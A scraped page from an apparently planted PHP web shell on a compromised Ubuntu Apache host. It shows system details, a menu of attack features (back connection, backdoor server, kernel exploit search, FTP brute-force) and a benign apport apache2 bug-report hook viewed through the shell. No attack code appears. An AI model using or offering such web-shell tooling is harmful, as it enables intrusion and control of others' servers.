|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 26.1 GB of 70.42 GB (37.06%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
share/
apport/
package-hooks/
- drwxr-xr-x
|
Viewing file: apache2.py (1.72 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#!/usr/bin/python
'''apport hook for apache2
(c) 2010 Adam Sommer. Author: Adam Sommer <asommer@ubuntu.com>
This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. See http://www.gnu.org/copyleft/gpl.html for the full text of the license. '''
from apport.hookutils import * import os
def add_info(report, ui): response = ui.yesno("The contents of your /etc/apache2/sites-enabled directory " "may help developers diagnose your bug more " "quickly. However, it may contain sensitive " "information. Do you want to include it in your " "bug report?")
if response == None: # user cancelled raise StopIteration
elif response == True: # Attache config files in /etc/apache2/sites-enabled and listing of files in /etc/apache2/conf.d for conf_file in os.listdir('/etc/apache2/sites-enabled'): attach_file_if_exists(report, '/etc/apache2/sites-enabled/' + conf_file, conf_file) try: report['Apache2ConfdDirListing'] = unicode(os.listdir('/etc/apache2/conf.d')) except OSError: report['Apache2ConfdDirListing'] = unicode(False)
# Attach default config files if changed. attach_conffiles(report, 'apache2.2-common', conffiles=None)
# Attach the error.log file. attach_file(report, '/var/log/apache2/error.log', key='error.log')
# Get loaded modules. report['Apache2Modules'] = root_command_output(['/usr/sbin/apachectl', '-D DUMP_MODULES'])
|